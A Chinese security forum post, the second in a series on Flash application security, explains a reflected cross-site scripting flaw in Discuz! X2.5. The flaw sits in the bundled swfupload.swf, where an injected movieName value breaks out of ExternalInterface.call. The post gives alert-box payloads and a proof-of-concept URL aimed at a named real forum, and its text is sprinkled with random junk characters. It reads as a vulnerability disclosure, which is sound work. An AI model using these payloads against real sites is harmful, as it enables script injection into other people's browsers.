找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2030|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说, {5 A, g7 @8 C6 X& P

: x  X5 W8 A$ Y; X/ R) g& `flash.external.ExternalInterface.call($methodName, $parameter); W$ J/ {1 P5 J  h. e
在浏览器中执行的是: F( F  v5 S$ G( Z$ m9 J

$ _/ H3 Z9 a2 l) E# Z* W7 }. Ktry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
5 g  i1 H6 F" F5 A, [6 W* _/ x5 p, h对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
  z9 Q! ?) ^7 i# Z2 S
9 P4 N) k. H, U, ^flash.external.ExternalInterface.call("object."+$methodName, $parameter)
3 z2 H- @1 ~( [' h$methodName = a())}catch(e){alert(/xss/)}//
; u! h$ u+ X( Z9 \结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
& Z  l2 V+ }1 J6 v' p1 e1 `. N* h8 h5 S8 t
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
; Y% p8 q- u8 n
. a" N) F1 v' y' e/ b这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )/ v% A7 t+ X# v( M  d8 L- s
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。4 I' u- i( G* h- N
+ n9 `" J0 h2 C

9 P; l+ _# U" e& |: [& v$ _' ]/ E+ q7 f' q1 [: J7 D' v$ e
漏洞文件:upload\static\image\common\swfupload.swf
# A- v1 d' ^# q. C4 A1 I8 L4 k6 c0 |$ ?: n
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf7 B* j$ r5 ]/ P1 y8 N
1 z: s9 @6 Q: ^* H8 W- M2 m7 k7 J% s
1 w9 o$ f  f' u- Y3 M/ l8 B/ M6 q
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
! c, Q1 d/ Z) I+ ?5 p& r& U& Q, ^
; N( X6 H* r! ~1 H( F0 {5 d: m9 }5 R$ g2 R! [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表